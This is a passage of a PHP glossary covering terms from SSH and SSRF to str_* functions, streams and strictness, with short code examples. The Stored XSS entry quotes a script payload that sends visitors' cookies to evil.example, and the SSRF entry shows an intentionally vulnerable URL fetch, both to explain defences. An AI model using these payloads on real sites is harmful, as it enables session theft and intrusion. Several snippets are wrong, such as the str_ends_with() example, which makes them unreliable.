SSH, acronym of Secure Shell, is a cryptographic network protocol for operating network services securely over an unsecured network. It is most commonly used for remote login and command-line execution.
PHP provides the ssh2 extension to connect to SSH servers, execute commands, transfer files via SCP or SFTP, and create tunnels. For environments without the native extension, the phpseclib library offers a pure PHP alternative.
<?php
// Connect to SSH server
$connection = ssh2_connect('ssh.example.com', 22);
if (!$connection) {
die('Could not connect to server.');
}
// Authenticate with password
if (!ssh2_auth_password($connection, 'username', 'secret')) {
die('Authentication failed.');
}
// Execute a remote command
$stream = ssh2_exec($connection, 'ls -la /var/www');
stream_set_blocking($stream, true);
echo stream_get_contents($stream);
// Transfer a file via SCP
ssh2_scp_send($connection, '/local/path/file.txt', '/remote/path/file.txt', 0644);
// Open an SFTP subsystem
$sftp = ssh2_sftp($connection);
file_put_contents('ssh2.sftp://' . intval($sftp) . '/remote/path/file.txt', 'content');
?>
See Also
Related
Related packages
SSH2
ssh2 is a PIE extension, built on libssh2, that provides functions to open SSH connections from PHP and use them to execute remote commands, transfer files over SFTP or SCP, forward ports, and manage host authentication.
A connection is opened with ssh2_connect(), then authenticated with one of several methods: password, public key, or keyboard-interactive, via ssh2_auth_password() or ssh2_auth_pubkey_file(). Once authenticated, the extension exposes a stream for running remote shell commands with ssh2_exec(), and separate stream wrappers for SFTP file operations through ssh2_sftp().
The extension has historically had inconsistent packaging across distributions and PHP versions, which pushed many projects toward the pure-PHP phpseclib library instead, since it requires no compiled extension and works identically across environments.
<?php
$connection = ssh2_connect('example.com', 22);
ssh2_auth_pubkey_file(
$connection,
'user',
'/home/user/.ssh/id_rsa.pub',
'/home/user/.ssh/id_rsa'
);
$stream = ssh2_exec($connection, 'uptime');
stream_set_blocking($stream, true);
echo stream_get_contents($stream);
$sftp = ssh2_sftp($connection);
$remote = fopen('ssh2.sftp://' . $sftp . '/remote/path/file.txt', 'r');
?>
See Also
Related
Related packages
Secure Sockets Layer (SSL)
SSL, the Secure Sockets Layer, is a cryptographic protocol designed to provide communications security over a computer network and on the Web. SSL is often related to HTTPS, for secured transmission with the HTTP protocol, although HTTPS has moved from SSL to TLS.
SSL is a PHP protocol for sockets, and share the configuration options with TLS. The curl Extension also supports SSL as a client, when building network connections.
PHP also features OpenSSL, a library to handle the cryptographic aspects of SSL.
<?php
$context = stream_context_create( ['ssl' => ['local_cert'=> $certificate_path]] );
if ($fp = stream_socket_client('ssl://'.$host.':'.$port, $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context)) {
fwrite($fp, "\n");
} else {
echo "Error: $errno - $errstr\n";
}
?>
See Also
Related
Single Sign On (SSO)
Single Sign-On, also shortened as SSO, is an authentication process that allows users to access multiple applications or services with one set of login credentials. SSO enables users to sign in once and gain access to multiple applications without needing to log in again for each separate application.
See Also
Related
- Authentication
- Session
- Token
- Cookie
- Lightweight Directory Access Protocol (LDAP)
- Hash
- Password
- One-Time Password (OTP)
- Role Based Access Control (RBAC)
- Access Control List (ACL)
- Authorize
- JSON Web Token (JWT)
- OAuth
- Security Assertion Markup Language (SAML)
- OpenID Connect (OIDC)
Related packages
Server-Side Rendering (SSR)
Server-side rendering, or SSR, is the technique of generating a complete HTML page on the server, before sending it to the browser, rather than building the page dynamically in the client with JavaScript.
PHP is intrinsically a server-side rendering language: templates and echoed markup are assembled into HTML on each request, and the browser receives a fully formed page. This differs from client-side rendering, where a browser downloads a mostly empty page plus a JavaScript bundle, and builds the DOM after the scripts run.
Server-side rendering improves the time to first paint, and it helps search engines and other crawlers, which may not execute JavaScript, to index the content directly. Frameworks that render client-side, like React or Vue, can still adopt server-side rendering for their first render, then hand off interactivity to the client: this hybrid approach is called hydration.
<?php
// Server-side rendering: PHP builds the full HTML page for each request.
$items = ['Coffee', 'Tea', 'Cocoa'];
echo '<ul>';
foreach ($items as $item) {
echo '<li>' . htmlspecialchars($item) . '</li>';
}
echo '</ul>';
// The browser receives complete, ready-to-display markup.
?>
See Also
Related
- Single Page Application (SPA)
- Template
- Twig
- Model - View - Controller (MVC)
- Search Engine Optimization (SEO)
- Javascript
Server-Side Request Forgery (SSRF)
Server-Side Request Forgery, or SSRF, is a vulnerability where an attacker induces the server itself to issue an HTTP or other network request to a destination the attacker controls or chooses, by supplying or influencing a URL that the server later fetches. Unlike CSRF, which forges a request from a victim’s browser toward an application, SSRF forges a request from the application’s own server, using the server’s network position and credentials.
Typical entry points are any server-side code that fetches a user-supplied URL: webhook registration, image/PDF/archive fetchers and thumbnail generators, URL preview features, XML parsers that resolve external entities, and API integrations that accept a callback or resource URL.
Consequences include:
- Reaching internal-only services that are not exposed to the public internet, effectively using the server as a proxy through the firewall.
- Querying cloud metadata endpoints, such as
http://169.254.169.254/onAWS,GCP,Azure, to steal instance credentials or tokens. - Port-scanning the internal network by observing timing or error differences on the fetch.
- Reading local files if the fetching code also accepts
file://or other non-HTTP schemes.
Mitigation strategies include:
- Validating the destination against an authorized list of hosts or URL patterns, rather than a denylist.
- Resolving the hostname and rejecting requests to private, loopback, and link-local IP ranges,
127.0.0.0/8,10.0.0.0/8,169.254.0.0/16, etc. before connecting. - Disabling automatic redirect following, or re-validating the destination on every redirect hop.
- Restricting the allowed URL schemes to
http/httpsand rejectingfile://,gopher://,dict://, and other wrapper.
<?php
// Vulnerable: server fetches whatever URL the attacker supplies.
$url = $_GET['image_url'];
$data = file_get_contents($url); // could target http://169.254.169.254/ or an internal host
// Safer: validate the host against an allowlist and resolved IP before fetching.
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (!in_array($host, ['images.example.com'], true) || filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
throw new \InvalidArgumentException('Untrusted URL');
}
$data = file_get_contents($url);
?>
See Also
Related
- Cross Site Request Forgery (CSRF)
- Injection
- Taint Analysis
- Static Application Security Testing (SAST)
- Security
- file_get_contents()
- Client URL (CURL)
- Wrapper
- Vulnerability
Stack
A stack may have several meanings:
- Callstack: the structure that keeps track of nested calls during execution
- Data stack: a data structure, where the last added data are removed first
- LAMP stack: a collection of software that works well together. Here, Linux, Apache, MySQL, PHP.
See Also
Related
Stale-While-Revalidate
Stale-while-revalidate is a caching strategy where, once a cached value has expired, the cache immediately serves that stale value to the caller while triggering a background refresh, rather than making the caller wait for a fresh value or fail outright when the origin is slow or unavailable. It began as an HTTP Cache-Control extension, stale-while-revalidate=N, understood by browsers and CDN, but the same idea is commonly implemented by hand in application-level caches.
As a resilience pattern, stale-while-revalidate is a specific, graceful form of fallback: when a circuit breaker is open, a bulkhead is saturated, or a dependency is simply slow, returning the last known-good value, clearly marked as potentially stale, keeps the application responsive and usable instead of propagating the failure to the end user. It trades strict freshness for availability, and is appropriate whenever slightly outdated data, for example a product price that may be a few seconds old, is preferable to no data at all.
Stale-while-revalidate is usually implemented by storing both a value and its expiry in the cache, for example in Redis or through Symfony\Contracts\Cache, checking on read whether the value is stale, and if so, returning it immediately while dispatching a job, or using a short-lived lock so only one process refreshes it, to fetch a fresh value in the background.
<?php
// Simplified stale-while-revalidate around a cache read
$entry = $cache->get($key); // ['value' => ..., 'expiresAt' => ...]
if ($entry !== null) {
if ($entry['expiresAt'] < time()) {
dispatch(new RefreshCacheJob($key)); // refresh in the background
}
return $entry['value']; // serve the (possibly stale) value immediately
}
?>
See Also
- Resilience Patterns in PHP: Timeouts, Retries with Jitter, Circuit Breakers, and Bulkheads
- Stale While Revalidate Explained for Web Performance
- How to Build Cache Stampede Prevention
Related
Related packages
Standalone Types
Types are standalone, as they can be use alone, in a type declaration. This is the case of almost any type of PHP, scalar, or class. The only exception used to be false and null.
null needed to be associated to another type, and was not standalone. false also was introduced as a non-standalone type, where it had to be associated with another type.
Since PHP 8.2, and 8.3 for true, those types are now standalone and can be used by themselves. They are also called a ‘literal type’ as they define both the type and the value.
<?php
function trumpet(true $trunk) {
// $trunk can only be true
var_dump($trunk);
}
?>
See Also
Related
Standard
A standard, in the context of programming languages and software development, refers to a set of rules, specifications, or guidelines that ensure consistency, interoperability, and quality.
Standards are established to:
- Define Behavior: specify how a language, library, or protocol should work
- Ensure Interoperability: allow different implementations to work together seamlessly
- Promote Best Practices: encourage reliability, security, and maintainability
- Facilitate Adoption: provide a common reference for developers, vendors, and users
Standards emerge from practice, or are specified first, then implemented.
See Also
Related
Star *
* is a character, used in various situations:
- Multiplication:
3 * 2 == 6 - Power:
3 ** 2 == 3 * 3 == 9 - With slash,
/*is a multi line comment:/* */ - With double star and a slash,
/**is a phpdoc comment:/** */. - As a wildcard in
glob()calls - As a wildcard in
fnmatch()calls - As a wildcard for all columns in SQL queries:
SELECT * FROM table - As a quantifier in regex: 0 or more, for example
/a*/ - As part of a multiline comment with
/** */and/* */.
<?php
file_get_contents('/tmp/test.txt');
echo 2 * 3; // 6
echo 2 ** 3; // *
/*
A multiline comment
*/
?>
See Also
Related
- Multiplication
- Comments
- Exponential
- Regular Expression
- Structured Query Language (SQL)
- glob()
- fnmatch()
State
In object-oriented PHP, the state of an object refers to the values of its properties at a given time.
This is an important notion, as PHP is said to be stateless: when used with a web server, every PHP execution is independent from the others, and does not keep state. An object created in one PHP execution is not shared with the other one. Obviously, within the execution of PHP, objects keep their state.
See Also
Related
- Stateful
- Stateless
- Object
- Properties
- Session
- Immutable
- Distributed State
- Finite State Machine (FSM)
- Hidden State
- Implicit State
Stateful
Stateful refers to the retaining and managing the state or information about a user or a process across multiple requests. PHP, by default, is stateless, meaning that each HTTP request is independent, and the server doesn’t inherently maintain information about previous requests from the same user.
Stateful behavior is often required when the application needs to keep track of user data or the progress of a process over multiple page loads or requests. There are various mechanisms to implement statefulness with PHP, and some common methods include: cookies, session, hidden form fields.
See Also
Related
Stateless
Stateless refers to a system or protocol that does not retain information about the previous interactions or states of users or devices. In a stateless system, each transaction or request is treated as an independent and isolated event, and the system does not store any information about the context or history of those interactions. This design is often used in computer networking, web development, and distributed systems.
See Also
Related
Statement
A statement can be an assignment, a function call, a loop, a conditional statement or even a statement that does nothing, an empty statement.
Statements usually end with a semicolon.
In addition, statements can be grouped into a statement-group by encapsulating a group of statements with curly braces. A statement-group is a statement by itself as well.
See Also
Related
Static Call
A static call is a call to a structure, where the name of the structure is hardcoded.
A static method may be called with a static call, or with a dynamic call. Both are valid.
<?php
class Elephpant {
static function trumpet() {}
}
new Elephpant(); // static call
$class = Elephpant::class;
new $class(); // dynamic call
Elephpant::trumpet(); // static call of a static method
$class::trumpet(); // dynamic call of a static method
?>
See Also
Related
Static Class
A static class is a class that only holds static methods, properties or constants.
There is no special syntax for such a class: it is simply created with the above-mentioned structures. Other programming languages have a dedicated syntax for them.
A static class is usually used by direct call, with the :: operator. A static class may still be instantiated, though there is little usage for such an object.
<?php
class Elephpant {
public static int $age = 0;
public static function increment(): int {
return self::$age++;
}
}
echo Elephpant::increment(); // 1
?>
Related
Static Expression
A static expression is an expression that is wholly defined at coding time. It is akin to hardcoded information. The opposite is dynamic expression.
A static expression is built with literals and operators.
It is similar to a constant scalar expression, which is used by PHP to define constant with other constants. PHP does verify the constant scalar expressions at linting time, and exclude some operators from being used.
<?php
$alphabet = 'a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z';
// This is a static expression
$letters = explode(',', $alphabet);
const A = 1 * 2; // a constant scalar expression
?>
See Also
Related
Static Method
Static methods are methods defined with the static keyword. They have to be called with the name of the class, rather than an instantiated object.
<?php
class Elephpant {
static function trumpet() {
echo __METHOD__;
}
}
//displays elephpant::trumpet
elephpant::trumpet();
?>
See Also
- When to use static methods
- When Should You (And Shouldn’t You) Use Static Methods in Laravel/PHP? A Practical Guide
- Static Methods in PHP: Practical Patterns, Pitfalls, and Production Guidance (2026)
Related
Static Property
Static properties are properties defined with the static keyword. They may be accessed with the name of the class, or instantiated object.
Static properties are also called ‘class properties’ as they are common to all objects of the same class: there is no need to instantiate an object to access them, when they are public.
<?php
class Elephpant {
static $trunkLength = 1;
}
//displays elephpant::trunkLength
print elephpant::$trunkLength;
$object = new elephpant;
print $object::$trunkLength;
?>
See Also
Related
- Properties
- Static Method
- Data Container
- Readable
- Static Variables
- Writable
- get_object_vars()
- Scope Resolution Operator ::
- Static Class
- Writeable
- Testable
Static Variables
A static variable is a variable that retains its value across multiple function calls. Unlike regular variables, which are created and destroyed each time a function is called, static variables are initialized only once and persist throughout the entire execution of the script.
To declare a static variable, use the static keyword inside a function.
Static variables are commonly used when to keep track of certain information across function calls without the need to use global variables or properties. They are especially useful for counters, accumulators, caching, and memoization. However, it’s essential to use them judiciously and avoid excessive reliance on them, as they can make code harder to maintain and understand if used indiscriminately.
Static variables may be refactored as a global variable or a property.
Static variables may be declared only once, starting with PHP 8.3. Until that version, it is a best practice to only declare them once.
Static variables may use any PHP expressions to define their default value. That value is used when the variable is used for the first time.
<?php
function counter() {
static $count = 0;
return ++$count;
}
counter(); // print 1
counter(); // print 2
?>
See Also
- Static Variables and Methods
- 5 usages of static keyword in PHP
- PHP Static Variables
- static $variable in PHP: a silent trap with Laravel Octane
Related
- Variables
- Variable Variables
- Global Variables
- global Scope
- $GLOBALS
- Local Variable
- Superglobal Variables
- Static Property
- New In Initializers
static
The static keyword has several distinct usages.
Static is one of the three special keywords that are used to access properties or methods from inside the class definition. It relates to the current called class.
Static is a keyword for methods and properties: they are turned into class elements, and should be reached with the :: syntax, instead of -> or ?->.
Static is a keyword for closures and arrow functions: it prevents the current scope from being included in the closure, thus limiting the number of accessible values.
Static is a keyword for variables: those variables aren’t removed at the end of the method execution and are available at the beginning of the next call.
<?php
class Elephpant {
private const HABITAT = 1;
function habitat() {
return static::HABITAT;
// same as \Elephpant::HABITAT; when the object is of class Elephpant
// same as \AsianElephpant::HABITAT; when the object is of class AsianElephpant
}
}
class AsianElephpant extends Elephpant {
private const HABITAT = 2;
}
?>
See Also
Related
- parent
- Closure
- Arrow Functions
- Variables
- Late Static Binding
- Child Class
- Language Construct
- Properties
- Self
- Dynamic
- Special Types
- PHP Natives
- Relative Types
- Property Type Declaration
- Var
stdclass
Stdclass is a native PHP class. It is the class used when a generic object is created, for example with json_decode() or the (object) cast operator.
The stdClass is allowed to create dynamic properties on the fly, as its base definition has none.
<?php
class Elephpant {
private $property = 1;
function trumpet() {
// dynamic property
$this->a = 1;
// dynamic property with variable name
$b = "abc";
$this->$b = 1;
// static property
$this->property = 1;
}
}
?>
See Also
Related
STDOUT
stdout refers to the standard output stream. It is a common term used in programming to represent the destination for standard output data.
Native PHP functions echo and print typically send their argument to the standard output stream.
The standard output stream is explicitly available with the constant STDOUT. This is a write-only stream.
The standard output is also available via the protocol php, with the special URI stdout. This is a write-only stream.
<?php
// implicitely write to the standard output
echo 'Hello world';
// explicitely write to the standard output
fwrite(STDOUT, 'Hello world');
// explicitely write to the standard output
$fp = fopen('php://stdout', 'w');
fwrite($fp, 'Hello world');
?>
See Also
Related
Stealth Generator
A function becomes a generator as soon as the yield keyword is added to the block of code. At that point, the function may be called, but it won’t do anything until the yield is executed. The code continues its execution, though.
<?php
function trumpet() {
print forage;
yield 2;
print migrate;
}
trumpet();
print stampede;
?>
See Also
Related
Steganography
Steganography is the practice of concealing a file, message, image, or video within another file, message, image, or video. Unlike cryptography, which makes content unreadable, steganography aims to hide the very existence of the secret communication.
In web development, steganography is most commonly associated with hiding data within image files. This can be achieved by embedding information in the least significant bits of pixel data, appending data after image metadata, or exploiting image format specifications to store hidden payloads.
Common techniques include:
LSB, Least Significant Bit, insertion, where the least significant bits of pixel color values are modified to encode secret data.- Metadata injection, where hidden information is stored in EXIF or other image metadata fields.
- Appending data after the image’s end-of-file marker, which most image viewers ignore.
- Exploiting comments sections within image formats like JPEG or PNG.
Steganography can be used for legitimate purposes such as digital watermarking and covert communication, but it is also employed in malicious contexts for data ex-filtration, command-and-control communication, or smuggling payloads past security filters.
<?php
// Example: hiding a secret message in the least significant bits of an image
$source = imagecreatefrompng('cover.png');
$secret = 'Hidden message';
$bits = '';
for ($i = 0; $i < strlen($secret); $i++) {
$bits .= str_pad(decbin(ord($secret[$i])), 8, '0', STR_PAD_LEFT);
}
$bitIndex = 0;
for ($y = 0; $y < imagesy($source) && $bitIndex < strlen($bits); $y++) {
for ($x = 0; $x < imagesx($source) && $bitIndex < strlen($bits); $x++) {
$rgb = imagecolorat($source, $x, $y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
if ($bitIndex < strlen($bits)) {
$r = ($r & 0xFE) | $bits[$bitIndex++];
}
if ($bitIndex < strlen($bits)) {
$g = ($g & 0xFE) | $bits[$bitIndex++];
}
if ($bitIndex < strlen($bits)) {
$b = ($b & 0xFE) | $bits[$bitIndex++];
}
imagesetpixel($source, $x, $y, imagecolorallocate($source, $r, $g, $b));
}
}
imagepng($source, 'stego.png');
imagedestroy($source);
?>
See Also
Related
Storage Systems
A storage system is a generic term to describe an external service that store data for a longer time than the current PHP request.
Storage systems may be RDBMS, SQL servers, key-value stores, NoSQL server, file system, memory caching system, etc.
See Also
Related
- Relational DataBase Management System (RDBMS)
- Key-value Stores
- Create, Read, Update And Delete (CRUD)
- Search Engine
Stored XSS
Stored XSS, also called persistent XSS, is a variant of XSS where the malicious payload is saved on the server, in a database, a comment field, a log, or any other storage the application later reads back, instead of being reflected immediately from the current request.
Because the payload is persisted, every user who later views the page containing it executes the attacker’s script, with no need to click a crafted link or visit a special URL, unlike reflected XSS. This also makes stored XSS more dangerous: a single injection can affect every visitor, including administrators.
Stored XSS commonly slips through when a team treats the database as an implicitly trusted source, sanitizing or validating data only on the way in, and then trusting it enough to skip output encoding on the way out. The database itself provides no protection: encoding must still be applied at the point where the stored value is written into HTML, JavaScript, or another output context.
<?php
// Write path: attacker submits a malicious comment.
$body = $_POST['comment']; // e.g. '<script>document.location="//evil.example/?c="+document.cookie</script>'
$pdo->prepare('INSERT INTO comments (body) VALUES (?)')->execute([$body]);
// Read path, later, for every visitor: raw output re-executes the payload.
foreach ($pdo->query('SELECT body FROM comments') as $comment) {
echo $comment['body']; // vulnerable: should be htmlspecialchars($comment['body'])
}
?>
See Also
Related
- Cross Site Scripting (XSS)
- HTML Escaping
- Sanitation
- HTMLPurifier
- Taint Analysis
- Database
- Write Context
str_contains()
str_contains() is a PHP native function that checks if a string contains another string.
The function returns a boolean. It is meant to be a replacement to strpos(), which returns the position of the found string, but is often misused.
The search is case sensitive. There is no case insensitive version of str_contains(). This has to be done by setting the strings to the same case first.
The empty string is always found. null value is not accepted, but still default to empty string '', so true.
<?php
var_dump(str_contains('abc', '')); // true
var_dump(str_contains('abc', 'a')); // true
var_dump(str_contains('abc', 'A')); // false
var_dump(str_contains('abc', 'd')); // false
var_dump(str_contains('abc', 'abcabc')); // false
var_dump(str_contains('abc', 'abcabc')); // false
?>
See Also
Related
str_ends_with()
str_ends_with() is a built-in PHP function that checks that the string ends with the specified suffix.
str_ends_with() is case-sensitive. Use strtolower() to remove case, and make case-insensitive comparisons. It has a complementary function called str_starts_with().
<?php
var_dump(str_starts_with('abc', 'a')); // false
var_dump(str_starts_with('abc', 'b')); // false
var_dump(str_starts_with('abc', 'c')); // true
?>
See Also
Related
str_replace()
str_replace() is a PHP native function that replaces all occurrences of a search string with a replacement string.
The search and replace arguments may be arrays, allowing several substitutions to be applied in a single call. When arrays are used, each replaced value is scanned again for further matches, which may lead to unexpected double substitutions, unlike strtr().
The search is case-sensitive. str_ireplace() is the case-insensitive counterpart.
An optional fourth argument, passed by reference, receives the number of replacements performed.
<?php
echo str_replace('World', 'PHP', 'Hello World'); // Hello PHP
// Array of search/replace pairs
$search = ['Hello', 'World'];
$replace = ['Hi', 'Earth'];
echo str_replace($search, $replace, 'Hello World'); // Hi Earth
// Case-insensitive version
echo str_ireplace('world', 'PHP', 'Hello World'); // Hello PHP
// Counting replacements
str_replace('o', '0', 'Hello World', $count);
echo $count; // 2
?>
See Also
Related
str_split()
str_split() splits a string into an array of chunks of a fixed byte length, one character per chunk by default.
The function walks the string from left to right, cutting it every length bytes: the final chunk may be shorter than the others when the string length is not an exact multiple of length. Because it counts bytes rather than characters, splitting a multibyte string with str_split() can cut a multi-byte character in half, producing chunks that are not valid text on their own; mb_str_split() exists for that case.
Passing a length smaller than one used to return false; since PHP 8.2, it throws a ValueError instead, and splitting an empty string now returns an empty array rather than an array containing one empty string.
<?php
print_r(str_split('abcdef')); // ['a','b','c','d','e','f']
print_r(str_split('abcdef', 2)); // ['ab','cd','ef']
print_r(str_split('')); // [] since PHP 8.2
?>
Related
str_starts_with()
str_starts_with() is a built-in PHP function that checks that the string starts with the specified prefix.
str_starts_with() is a case-sensitive. Use strtolower() to remove case, and make case-insensitive comparisons. It has an complementary function called str_ends_with().
<?php
var_dump(str_starts_with('abc', 'a')); // true
var_dump(str_starts_with('abc', 'b')); // false
var_dump(str_starts_with('abc', 'ab')); // true
var_dump(str_starts_with('abc', 'abc')); // true
var_dump(str_starts_with('abc', 'abcd')); // false
?>
See Also
Related
Strategy
The Strategy design pattern defines a family of interchangeable algorithms, encapsulates each one in its own class, and lets the algorithm vary independently from the code that uses it. The calling code depends only on a common interface, and the concrete strategy is selected and injected at runtime.
Strategy avoids long conditional structures, if/elseif or match, that pick between several algorithms, replacing them with polymorphism. It is closely related to the Decorator pattern, but a strategy replaces behaviour, while a decorator adds to it.
Common PHP use cases include payment processing, sorting or pricing algorithms, and validation rules that vary by context.
<?php
interface PaymentStrategy {
public function pay(float $amount): string;
}
class CreditCardPayment implements PaymentStrategy {
public function pay(float $amount): string {
return "Paid {$amount} by credit card";
}
}
class PaypalPayment implements PaymentStrategy {
public function pay(float $amount): string {
return "Paid {$amount} via PayPal";
}
}
class Checkout {
public function __construct(
private PaymentStrategy $strategy,
) {}
public function process(float $amount): string {
return $this->strategy->pay($amount);
}
}
$checkout = new Checkout(new PaypalPayment());
echo $checkout->process(42.0);
?>
See Also
- Strategy pattern - Wikipedia
- DesignPatternsPHP: Strategy
- Strategy vs Decorator in PHP: Choosing the Right Design Pattern
Related
Stream Filter
A stream filter is a piece of code attached to a stream, which transforms the data as it is read from or written to that stream. Filters are applied on-the-fly, so the whole content never needs to be loaded in memory at once.
PHP offers functions to manage filters on a stream: stream_filter_append() and stream_filter_prepend() attach a filter to a stream, stream_filter_remove() detaches it, and stream_get_filters() lists the available filters. Built-in filters include string.toupper, string.rot13, convert.base64-encode, convert.base64-decode and zlib.deflate.
Custom filters are written by extending the php_user_filter class, implementing its filter() method, and registering the class with stream_filter_register().
Stream filters are different from the php://filter wrapper, which exposes filter chains through a URL. The data is only transformed on the fly, and a filter does not know about the origin of the stream.
<?php
// append a built-in filter to a stream, uppercasing data while reading
$fp = fopen('data.txt', 'r');
stream_filter_append($fp, 'string.toupper', STREAM_FILTER_READ);
echo fread($fp, 1024);
fclose($fp);
// register and use a custom filter
class strtoupper_filter extends php_user_filter {
public function filter($in, $out, &$consumed, bool $closing): int {
while ($bucket = stream_bucket_make_writeable($in)) {
$bucket->data = strtoupper($bucket->data);
$consumed += $bucket->datalen;
stream_bucket_append($out, $bucket);
}
return PSFS_PASS_ON;
}
}
stream_filter_register('custom.toupper', 'strtoupper_filter');
$fp = fopen('data.txt', 'w');
stream_filter_append($fp, 'custom.toupper', STREAM_FILTER_WRITE);
fwrite($fp, 'hello world');
fclose($fp);
?>
See Also
Related
Stream
Streams are a generalisation of the notion of files. Just like files, they can be opened, read, written and closed.
Unlike files, they may be a lot of things: archive, compressed data, sockets, other programs, etc. They also may not support all the range of features of files.
PHP offers native functions to create, configure, filter streams and process their data.
Streams may be extended with the notion of wrapper and protocols.
<?php
if ($stream = fopen('https://www.php.net', 'r')) {
// print the first 100 chars of the HTML page.
echo stream_get_contents($stream, -1, 100);
fclose($stream);
}
?>
See Also
Related
- Abstraction Layer
- Stream Wrapper
- File
- php://input
- php://output
- php://memory
- php://tmp
- php://filter
- file_get_contents()
- Path
- Polling
- Web Hypertext Application Technology Working Group (WHATWG)
- STDOUT
- fclose()
- fgetc()
- fgets()
- fread()
- ftell()
- fwrite()
- PHP Engine
- Non-blocking
- feof()
- Polling API
- Stream Filter
- Streamable
stream_context_create()
stream_context_create() is a native PHP function that creates a stream context: a set of options and parameters that can be passed to file and network functions such as fopen(), file_get_contents() or stream_socket_client().
The first argument is an array of options, indexed by wrapper name, such as ['http' => ['method' => 'POST']]. The second argument is an array of parameters, such as a notification callback, that apply to the stream as a whole.
The function returns the context, which is then passed as the last argument of the stream function. Functions called without a context use the default context, which can be changed with stream_context_set_default().
<?php
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => 'Content-Type: application/json',
'content' => '{"name":"Ada"}',
],
]);
echo file_get_contents('https://example.com/api', false, $context);
?>
See Also
Related
stream_select()
stream_select() is a native PHP function that waits until one or more streams are ready for reading, writing, or have an exceptional condition, using the system select() call.
It takes three arrays of streams, passed by reference: $read, $write and $except. On return, each array is reduced to the streams that are ready; the others are removed. The fourth and fifth arguments set the timeout in seconds and microseconds. A null timeout blocks until at least one stream is ready.
The function returns the number of streams that changed state, 0 if the timeout expired before any stream was ready, or false on error. Because the arrays are modified in place, the original list of streams must be kept separately if it is needed again.
<?php
$read = [$socket1, $socket2];
$write = null;
$except = null;
// Wait up to 5 seconds for data on either socket
$changed = stream_select($read, $write, $except, 5);
if ($changed === false) {
die('stream_select() failed');
}
if ($changed === 0) {
echo 'Timeout: no data received';
} else {
foreach ($read as $stream) {
echo fread($stream, 1024);
}
}
?>
See Also
Related
Streamable
A streamable value is something that can be read, or written, incrementally, chunk by chunk, without ever needing to be fully loaded in memory, whether or not it is backed by a real, native PHP stream resource opened with fopen().
This is a distinction similar to stringable: a Stringable object behaves like a string, via __toString(), without being a native string scalar. A streamable object behaves like a stream, exposing something akin to read(), write() or eof(), without necessarily being a native stream resource under the hood: it may be backed by a database cursor, a generator, an API pagination loop, or a callback.
PSR-7’s Psr\Http\Message\StreamInterface is the canonical example. HTTP client and server libraries, such as Guzzle or Symfony’s HttpClient, expose request and response bodies as streamable objects, so large payloads can be read progressively, even when the underlying transport is a socket, a file, or an in-memory buffer. Symfony’s StreamedResponse is another example: its body is produced by a callback, and is streamable to the client, without the application ever holding a stream resource itself.
<?php
interface Streamable
{
// Reads up to $length bytes; returns '' once exhausted.
public function read(int $length): string;
public function eof(): bool;
}
// A CSV export is streamable: it can be read chunk by chunk,
// even though it is backed by an array, not a real stream resource.
class CsvExport implements Streamable
{
private int $position = 0;
public function __construct(private array $rows) {}
public function read(int $length): string
{
if ($this->eof()) {
return '';
}
return implode(',', $this->rows[$this->position++]) . "\n";
}
public function eof(): bool
{
return $this->position >= count($this->rows);
}
}
function sendToClient(Streamable $body): void
{
while (!$body->eof()) {
echo $body->read(1024); // flushed incrementally, never loaded fully in memory
}
}
sendToClient(new CsvExport([['id', 'name'], [1, 'Alice'], [2, 'Bob']]));
?>
See Also
Related
- Stream
- Stringable
- Generator
- Yield
- Stream Wrapper
- Output Buffering
- Response
- PHP Standards Recommendations (PSR)
- Abstraction Layer
Related packages
Streaming Database
A streaming database is a database engine that runs continuous SQL queries directly over unbounded data streams, maintaining incrementally updated materialized views instead of static tables.
Unlike a batch pipeline, which pulls data on a schedule and recomputes results from scratch, a streaming database keeps its views up to date incrementally, as new events arrive, delivering sub-second freshness without a separate ETL step.
A streaming database differs from event streaming: event streaming, such as Kafka, is about durably publishing and consuming an ordered log of events. A streaming database sits on top of such a log, or ingests change data capture, and lets developers query it with plain SQL, joins, aggregations and time windows included.
Popular streaming databases include RisingWave, which is PostgreSQL wire-protocol compatible, Materialize, and ksqlDB, which is built on top of Kafka Streams.
<?php
// RisingWave speaks the PostgreSQL wire protocol: PDO's pgsql driver works as-is
$pdo = new PDO('pgsql:host=localhost;port=4566;dbname=dev', 'root', '');
// Continuous materialized view: kept incrementally up to date as orders arrive
$pdo->exec('
CREATE MATERIALIZED VIEW revenue_per_minute AS
SELECT window_start, SUM(total) AS revenue
FROM TUMBLE(orders, order_time, INTERVAL \'1\' MINUTE)
GROUP BY window_start
');
$rows = $pdo->query('SELECT * FROM revenue_per_minute ORDER BY window_start DESC LIMIT 10');
foreach ($rows as $row) {
echo $row['window_start'] . ': ' . $row['revenue'] . PHP_EOL;
}
?>
See Also
Related
Streamlining
Streamlining refers to the practice of simplifying code to reduce complexity, remove redundancy, and improve readability and maintainability.
Streamlining often involves replacing verbose constructs with more expressive modern syntax: match expressions instead of switch, arrow functions instead of closures, named arguments to clarify intent, nullsafe operators to flatten nested null checks, and short-circuit assignments with ??=.
Streamlining is distinct from premature optimization: it targets structural and expressive clarity rather than micro-level performance, and its effect is measured by reduced cognitive load for the reader.
<?php
// Before streamlining
if ($value === null) {
$value = computeDefault();
}
// After
$value ??= computeDefault();
?>
See Also
Related
- Match
- Arrow Functions
- Named Parameters
- Nullsafe
- Coalesce Operator
- Cognitive Complexity
- Refactoring
- Clean Code
- Readability
- Inlining
Strict Comparison
Strict comparison is a comparison operator or a control structure that checks not only the value but also the type of the value. In other words, it does not apply any type-juggling to the values before processing.
Here are the strict operators: == may be replaced with ===, != may be replaced with !==, switch may be replaced with match, in_array() with the third parameter strict set to true.
<?php
//true
var_dump(1 == "1");
//false
var_dump(1 === "1");
//true
var_dump(null == 0);
//false
var_dump(null === 0);
?>
See Also
Related
Strict
The word strict appears in several distinct PHP concepts:
strict_typesdeclare directive: a per-file directive,declare(strict_types=1), that disables PHP’s automatic scalar type coercion. When active, passing a value of the wrong type to a typed parameter raises aTypeErrorrather than silently casting the value.- Strict comparison: the use of identity operators
